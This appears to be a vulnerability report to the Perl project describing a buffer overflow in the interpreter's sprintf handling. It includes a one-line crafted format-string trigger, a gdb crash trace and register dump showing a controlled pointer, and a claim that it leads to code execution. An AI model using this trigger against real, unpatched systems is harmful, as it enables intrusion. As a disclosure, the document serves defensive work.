file: sv.c
function: Perl_sv_vcatpvfn_flags
print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0 0x080ebbe0 in Perl_runops_standard ()
#1 0x08069356 in S_fold_constants ()
#2 0x080a8336 in Perl_yyparse ()
#3 0x08083219 in perl_parse ()
#4 0x0806218c in main ()
(gdb) info reg
eax 0x20202020 538976288
ecx 0x9f72900 167192832
edx 0x0 0
ebx 0x0 0
esp 0xbfe0e8c0 0xbfe0e8c0
ebp 0x9f6c4d0 0x9f6c4d0
esi 0x9f6f58c 167179660
edi 0x0 0
eip 0x80ebbe0 0x80ebbe0 <Perl_runops_standard+16>
eflags 0x10202 [ IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>: call *0x8(%eax)
0x80ebbe3 <Perl_runops_standard+19>: test %eax,%eax
0x80ebbe5 <Perl_runops_standard+21>: mov %eax,0x8207a88
0x80ebbea <Perl_runops_standard+26>:
jne 0x80ebbe0 <Perl_runops_standard+16>
0x80ebbec <Perl_runops_standard+28>: mov 0x8207290,%eax
0x80ebbf1 <Perl_runops_standard+33>: test %eax,%eax
0x80ebbf3 <Perl_runops_standard+35>:
jne 0x80ebc02 <Perl_runops_standard+50>
0x80ebbf5 <Perl_runops_standard+37>: movb $0x0,0x82072b0
0x80ebbfc <Perl_runops_standard+44>: xor %eax,%eax
0x80ebbfe <Perl_runops_standard+46>: add $0xc,%esp
As you can see, the first %f print enlarged the buffer, and the controllable width in the second overflowed the buffer, causing eax to be corrupt (0x20 == ’ '). The program itself crashed when tried to execute a pointer pointed by the controlled eax register (+8).
This report demonstrates a potential code execution vulnerability, in case a sprintf format will be hostile. As format string attacks are relatively more popular on C/C++ languages, they are caused by the same programming bad practices:
Such kind of vulnerabilities are still common in modern code projects, and during my career I found such vulnerabilities even in many high-profile companies. Since Perl (such as Python, and Ruby) is a memory-managed language, the programmer relies on the interpreter to “catch” problems for him, meaning that most programmers assume that these programs won’t be vulnerable to format string attacks.
The sprintf implementation has a severe vulnerability when handling a hostile format string. This vulnerability was demonstrated and can be easily leveraged into a remote code execution on the Perl interpreter (as I demonstrated previously in a similar vulnerability in a similar interpreter-based project).
Will be more than happy to answer any question regarding the ticket,
Eyal Itkin.